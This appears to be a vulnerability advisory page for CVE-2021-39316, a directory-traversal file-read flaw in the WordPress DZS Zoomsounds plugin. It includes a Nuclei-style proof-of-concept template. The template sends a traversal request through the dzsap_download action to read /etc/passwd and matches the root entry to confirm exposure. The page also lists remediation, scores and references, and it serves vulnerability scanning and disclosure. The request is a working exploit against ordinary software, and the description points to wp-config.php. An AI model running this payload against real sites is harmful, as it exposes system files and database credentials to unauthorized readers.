CVE-2021-39316: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion

2025-08-01 WordPress DZS Zoomsounds PoC Public

Description

WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.

PoC

id: CVE-2021-39316

info:
  name: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion
  author: daffainfo
  severity: high
  description: WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the `dzsap_download` action using directory traversal in the `link` parameter.
  impact: |
    Local File Inclusion vulnerability in WordPress DZS Zoomsounds plugin allows an attacker to include arbitrary files from the server, potentially leading to remote code execution or sensitive information disclosure.
  remediation: |
    Update to the latest version of WordPress DZS Zoomsounds plugin (>=6.51) to fix the Local File Inclusion vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d2d60cf7-e4d3-42b6-8dfe-7809f87547bd
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39316
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39316
    - http://packetstormsecurity.com/files/165146/WordPress-DZS-Zoomsounds-6.45-Arbitrary-File-Read.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39316
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39316
    cwe-id: CWE-22
    epss-score: 0.65763
    epss-percentile: 0.99259
    cpe: cpe:2.3:a:digitalzoomstudio:zoomsounds:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: digitalzoomstudio
    product: zoomsounds
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,zoomsounds,wpscan,packetstorm,wp,lfi,digitalzoomstudio,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206bed9b654872feb252450bc140cb0b3c0f71c497afe48bc083661f2ffbe0c2b0022024a107a4a4cc2682147a1344838eb967bae1ce4d53363aed22666042d5a86dc8:922c64590222798bb761d5b6d8e72950

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References

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